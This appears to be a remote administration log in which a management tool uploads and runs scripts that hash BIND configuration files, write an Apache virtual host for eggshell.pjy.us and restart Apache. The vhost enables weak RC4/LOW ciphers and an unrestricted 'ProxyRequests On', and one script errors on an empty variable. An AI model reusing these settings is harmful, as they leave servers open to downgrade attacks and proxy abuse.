2025-10-29 16:45:34: 

PUT: /tmp/pkp998838

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2025-10-29 16:45:34: 

runuser -l bind -s /bin/bash -c '/tmp/pkp998838; rm /tmp/pkp998838'

2025-10-29 16:45:34: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= 375a64f534f63b93f1dcfccf9cc415bd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= 52e1ab6ca1b295d6e228011efc7c3e36
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= da429f1b684d9c3bb05c418a195ceb7e
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 4280f8c05bc7ff45d1502e829357c0b2
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= 90d11419a458de092b42a669de715701
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= f90b48a7c1061822ec2b4beef20285a3
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 8aba258068c8c60a7ade3952a285f57d
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2025-10-29 16:45:40: Establishing a connection
2025-10-29 16:45:40: 

PUT: /tmp/pkp244819

#!/bin/bash
temp_file=$(mktemp)
BASE=/etc/apache2
BASENAME=pjy_eggshell_us.conf
TARGET=/etc/apache2/sites-enabled/pjy_eggshell_us.conf
DOCROOT=
PUBLIC=

cat > $temp_file <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
<VirtualHost *:80>
    ServerName	eggshell.pjy.us
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/pjy_eggshell/public
    <Directory /var/www/pjy_eggshell>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/pjy/eggshell_access.log combined
    ErrorLog	/var/log/apache2/pjy/eggshell_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
    DirectoryIndex	index.html index.htm index.php
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteCond	%{REQUEST_URI} !/event
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	eggshell.pjy.us
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/1ab41bf0e070e7b006d494c7605f9dcb.crt
    DocumentRoot	/var/www/pjy_eggshell/public
    <Directory /var/www/pjy_eggshell>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/pjy/eggshell_secure_access.log combined
    ErrorLog	/var/log/apache2/pjy/eggshell_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
    DirectoryIndex	index.html index.htm index.php
    ProxyRequests	On
    RewriteEngine	On
    <Location /ws/>
        ProxyPass	ws://localhost:9514/
        ProxyPassReverse	ws://localhost:9514/
    </Location>
    
    <Location /wsx/>
        ProxyPass	http://localhost:9514/
        ProxyPassReverse	http://localhost:9514/
    </Location>
    
</VirtualHost>



----boundary-6506b6c63ab0478b95fb419cca0e56fb----

chmod 644 $temp_file

cd $BASE
cp -f $temp_file $TARGET
rm $temp_file
if [ $DOCROOT != "-" ]; then
	mkdir -p 
	mkdir -p $DOCROOT/$PUBLIC
	chown -R : $DOCROOT
	ln -s "..//etc/apache2/sites-enabled/pjy_eggshell_us.conf" "$BASE/sites-enabled/$BASENAME" > /dev/null 2>&1
	echo 'link(/etc/apache2/sites-enabled/pjy_eggshell_us.conf)= /etc/apache2//etc/apache2/sites-enabled/pjy_eggshell_us.conf'
	echo 'file(/etc/apache2//etc/apache2/sites-enabled/pjy_eggshell_us.conf= 1'
fi


2025-10-29 16:45:40: 

chmod 755 /tmp/pkp244819; /tmp/pkp244819; rm /tmp/pkp244819

2025-10-29 16:45:40: 


/tmp/pkp244819: line 75: [: !=: unary operator expected




STDERR:
/tmp/pkp244819: line 75: [: !=: unary operator expected


2025-10-29 16:45:40: 

PUT: /tmp/pkp206579

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl graceful
fi 
if [ -f "/usr/local/opt/httpd/bin/httpd" ]; then
	export HOMEBREW_NO_INSTALL_FROM_API=1
	brew services restart httpd

fi
echo .

2025-10-29 16:45:40: 

chmod 755 /tmp/pkp206579; /tmp/pkp206579; rm /tmp/pkp206579

2025-10-29 16:45:41: 


AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
.




STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message


2025-10-29 16:45:41: Establishing a connection
2025-10-29 16:45:41: 

PUT: /tmp/pkp251001

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2025-10-29 16:45:41: 

runuser -l bind -s /bin/bash -c '/tmp/pkp251001; rm /tmp/pkp251001'

2025-10-29 16:45:41: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= 375a64f534f63b93f1dcfccf9cc415bd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= 52e1ab6ca1b295d6e228011efc7c3e36
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
